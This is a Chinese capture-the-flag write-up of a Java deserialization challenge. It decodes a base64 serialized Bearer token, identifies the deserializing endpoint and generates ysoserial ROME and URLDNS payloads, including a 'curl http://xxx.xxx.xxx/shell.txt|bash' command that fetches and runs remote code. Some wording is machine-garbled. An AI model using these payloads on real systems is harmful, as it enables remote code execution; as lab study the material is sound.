朱雀JAVA游戏_[网鼎杯2020朱雀组]Think JAVA

前言

现在算是取得了很大的希望。但此题必有玄机。

c29df9e7d062aae6a15f74638d11355e.png

这就是朱雀组31解的题,tqllllllllllll。

下面是现在的功效,然则我照样没能拿到flag……菜,枯了。

9cd3ae1669fc8ac5f43712634e660458.png

742a33a7b53374649ae6709a7b0b9666.png

进入正题

下方截图算是hint , 固然对于没有用过swagger-ui的 ,照样不算hint的叭(我都是问的大佬)。

e4067a3207379946c88722ece3496022.png

他是一个测试接口,我原本分享了swagger-ui的链接来着,然则现在谁人链接好像被接见炸了。

(我在文章中已经把链接删了……考虑不周,复现的时刻就只能看着没有回显的靶机,炒鸡难受)。

由于就是套的swagger-ui,以是他的路由都不会变,本题只给出一个接口的缘故原由八成就是这个意思。

我就删了,如下是我们获得的mysql字段的详细作用。

/user/login,登录获得token

先给出那时测试的截图(大佬截给我的)。

b32066dfd6dcc75b0685cda3b9bc8003.png

流程的剖析:

此login接口用来模拟登录,登录乐成后可以获得一串data数据。部门数据可参考上图箭头所指。

下面做题得时刻,用post传参的截图(看到登录乐成的时刻,照样很开心的)。

3045b6640e9e4c7611daa3f63c548a7b.png

0efd2eeedf46e56fc7616b710500f9fd.png

可以参考这段json数据。

{

"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",

"msg": "登录乐成",

"status": 2,

"timestamps": 1589814544730

}

对token数据举行处置剖析

第一步,提取出序列化的数据

data对应的一串字符是Bearer token。

这串数据需要先base64,然后转成16进制。不要复制出来base64的内容再转16进制,直接用python2一步到位。

#此处使用python2

import base64

a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"

b = base64.b64decode(a).encode('hex')

print(b)

我一下昼看了许多文章,有两点很主要。

下方的特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者若是以aced开头,那么他就是这一段java序列化的16进制。

我的部门运行效果参考(aced开头)。

477dde4b938796de3ff48e6b786ed457.png

第二步,剖析序列化数据

用到工具SerializationDumper来剖析数据

用法:

java -jar SerializationDumper-[*version*].jar [*16进制数据*)]

输出的详细的字段代表的内容,一知半解也就不掺和了 。

(运行效果截图)

8a4dc9b859a659b1c57e6ab9dae9a38b.png

最下方有这样一段包含着admin字段,它就相当于保存着实质信息的数据块。

admin就是用户名。(我是这么以为)

0fcbf2c89f8e946f6e72e338151e02c5.png

寻找反序列化注入点

我们上一步已经大致剖析了data数据。

理一下思绪:

登录—》获得token—》token中data的数据是一段间接的序列化字段。

这时刻,

当我把序列化的token字段作为Authorization去印证这个UI的user/current接口。

他也会显示乐成登录。

这说明,他会在current接口举行反序列化!

那么我们可以组织合适的序列化内容来组织getshell。

若何组织

java反序列化工具ysoserial

ysoserial用法:以ROME和URLDNS举例

即用ROME(我现在的认知就是他每一种都有差别的作用,好比rome可以下令执行,URLDNS可以举行dns回显)。

java -jar ysoserial-master.jar ROME "calc.exe" > h3zh1.bin

java -jar ysoserial-master.jar URLDNS "http://xxx" > h3zh1.bin

然后要对他们举行数据处置。

下方程序python2或python3都可。

import base64

file = open("h3zh1.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

#print("Bearer "+ba) #可以解注释此段,并注释上一条print,便于快速测试

file.close()

注重检查输出的内容啊是否是rO0AB,若是差的许多,那么往回去看看叭。

脑壳疼

我弹shell的时刻没有乐成,很难受。测试了好几个都没成,难受死了。

我的废柴payload:

java -jar ysoserial-master.jar ROME "curl http://xxx.xxx.xxx/shell.txt|bash" > h3zh1.bin

最近的一步就是可以检测到curl的执行。又卡住了,不外差不多也算完结了吧。

眼睁睁看着三位大佬一个个把题Kill了,自闭了,早上起来了去讨教他们叭……。

睡觉。。。。。。。

a331afa09d4814dafce49e595a56e3f2.png

参考链接:

原文链接:https://www.cnblogs.com/h3zh1/p/12914439.html

本站声明:网站内容来源于网络,若有侵权,请联系我们,我们将及时处置。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值